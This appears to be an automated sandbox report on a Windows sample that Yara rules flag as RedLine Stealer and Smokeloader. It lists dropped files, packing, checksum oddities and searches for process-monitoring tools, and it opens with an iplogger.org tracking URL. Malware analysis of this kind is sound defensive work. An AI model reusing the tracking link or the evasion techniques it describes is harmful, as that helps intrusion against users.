https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: 3K6rBUOQ2z.exe	Static PE information: section name:
Source: 3K6rBUOQ2z.exe	Static PE information: section name: .idata
Source: 3K6rBUOQ2z.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF7CAA		0_3_04CF7CAA
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CE9D60		0_3_04CE9D60
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CEC7DD		0_3_04CEC7DD
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF37F9		0_3_04CF37F9
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF97F2		0_3_04CF97F2
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CEE720		0_3_04CEE720
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF30E6		0_3_04CF30E6
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CE2070		0_3_04CE2070
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF9912		0_3_04CF9912
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CECA0F		0_3_04CECA0F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00402C70		0_2_00402C70
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_004188AA		0_2_004188AA
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040A960		0_2_0040A960
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040F320		0_2_0040F320
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040D3DD		0_2_0040D3DD
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0041A3F2		0_2_0041A3F2
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_004143F9		0_2_004143F9
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00413CE6		0_2_00413CE6
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0041A512		0_2_0041A512
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040D60F		0_2_0040D60F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_008B4A81		0_2_008B4A81
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_008C4C93		0_2_008C4C93
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00848CBD		0_2_00848CBD
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0081C8B8		0_2_0081C8B8
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_009852F9		0_2_009852F9
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_009802F4		0_2_009802F4
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_008A4401		0_2_008A4401
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0097BC09		0_2_0097BC09
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00831E5F		0_2_00831E5F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00878462		0_2_00878462
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0095567F		0_2_0095567F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00988C60		0_2_00988C60
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00982861		0_2_00982861
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0081DF88		0_2_0081DF88
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0098A3DE		0_2_0098A3DE
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00882FD7		0_2_00882FD7
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0087BFE4		0_2_0087BFE4
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00837BE5		0_2_00837BE5
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_008DD50F		0_2_008DD50F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00842100		0_2_00842100
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00856F45		0_2_00856F45
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_008E054A		0_2_008E054A
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0085BF6A		0_2_0085BF6A
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4F587		0_2_04B4F587
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B5A659		0_2_04B5A659
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4D644		0_2_04B4D644
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B5A779		0_2_04B5A779
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B53F4D		0_2_04B53F4D
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4D876		0_2_04B4D876
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4ABC7		0_2_04B4ABC7
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B43B27		0_2_04B43B27

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: String function: 04B49E07 appears 35 times
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: String function: 04CE8FA0 appears 35 times
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: String function: 00409BA0 appears 35 times

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1548

Source: 3K6rBUOQ2z.exe, 00000000.00000003.2379537572.0000000005FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs 3K6rBUOQ2z.exe
Source: 3K6rBUOQ2z.exe, 00000000.00000003.2380142321.00000000057A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs 3K6rBUOQ2z.exe
Source: 3K6rBUOQ2z.exe, 00000000.00000003.2379411619.0000000005789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs 3K6rBUOQ2z.exe

Source: 3K6rBUOQ2z.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 3K6rBUOQ2z.exe

Static PE information: Section: gvkzzqfv ZLIB complexity 0.9899259259259259

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00F8A45E CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4204

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

File created: C:\Users\user~1\AppData\Local\Temp\wuBeweeRz

Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Command line argument: emp		0_2_00408020
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Command line argument: mixtwo		0_2_00408020

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3K6rBUOQ2z.exe

ReversingLabs: Detection: 31%

Source: 3K6rBUOQ2z.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\3K6rBUOQ2z.exe "C:\Users\user\Desktop\3K6rBUOQ2z.exe"
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1548

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe

Source: 3K6rBUOQ2z.exe

Static file information: File size 1922560 > 1048576

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 3K6rBUOQ2z.exe

Static PE information: Raw size of gvkzzqfv is bigger than: 0x100000 < 0x1a5e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Unpacked PE file: 0.2.3K6rBUOQ2z.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gvkzzqfv:EW;qtkkvrkg:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: 3K6rBUOQ2z.exe	Static PE information: real checksum: 0x1deeef should be: 0x1dcc47
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243

Source: 3K6rBUOQ2z.exe	Static PE information: section name:
Source: 3K6rBUOQ2z.exe	Static PE information: section name: .idata
Source: 3K6rBUOQ2z.exe	Static PE information: section name:
Source: 3K6rBUOQ2z.exe	Static PE information: section name: gvkzzqfv
Source: 3K6rBUOQ2z.exe	Static PE information: section name: qtkkvrkg
Source: 3K6rBUOQ2z.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CFE2B5 push esi; ret		0_3_04CFE2BE
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04D02B88 push ss; ret		0_3_04D02B89
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0041FAB5 push esi; ret		0_2_0041FABE
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00424388 push ss; ret		0_2_00424389
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9A8A9 push edi; ret		0_2_00A9A8B8
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9B0A2 push ecx; ret		0_2_00A9B0B1
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00AA00A5 push dword ptr [ebx-17h]; retf		0_2_00AA0044
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00AA248E push ecx; iretd		0_2_00AA248F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9AC83 push esi; ret		0_2_00A9AC92
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00AA14F3 push 00000072h; iretd		0_2_00AA14F8
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9A8CC push ebp; ret		0_2_00A9A8DB
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9FCDD push ecx; mov dword ptr [esp], edi		0_2_00A9FD4A
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9FCDD push edx; mov dword ptr [esp], 57DFDC56h		0_2_00A9FD68
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9FCDD push edi; mov dword ptr [esp], ebp		0_2_00A9FE78
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9ACDE push edi; ret		0_2_00A9ACED
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC2E push edx; mov dword ptr [esp], 7FFDE4A2h		0_2_00A9DC6F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC2E push 2029F3A2h; mov dword ptr [esp], edx		0_2_00A9DD5F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00AA1420 push ebx; ret		0_2_00AA1425
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9A833 push ecx; ret		0_2_00A9A842
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9AC36 push edi; ret		0_2_00A9AC45
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC0B push edx; mov dword ptr [esp], 7FFDE4A2h		0_2_00A9DC6F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC0B push 2029F3A2h; mov dword ptr [esp], edx		0_2_00A9DD5F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9AC01 push edx; ret		0_2_00A9AC10
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9E01C push 5B4F9D67h; mov dword ptr [esp], ecx		0_2_00A9E0DB
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC64 push edx; mov dword ptr [esp], 7FFDE4A2h		0_2_00A9DC6F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC64 push 2029F3A2h; mov dword ptr [esp], edx		0_2_00A9DD5F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9B07B push ecx; ret		0_2_00A9B0B1
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9A877 push ebp; ret		0_2_00A9A886
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC50 push edx; mov dword ptr [esp], 7FFDE4A2h		0_2_00A9DC6F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00A9DC50 push 2029F3A2h; mov dword ptr [esp], edx		0_2_00A9DD5F

Source: 3K6rBUOQ2z.exe	Static PE information: section name: gvkzzqfv entropy: 7.94777914547085
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

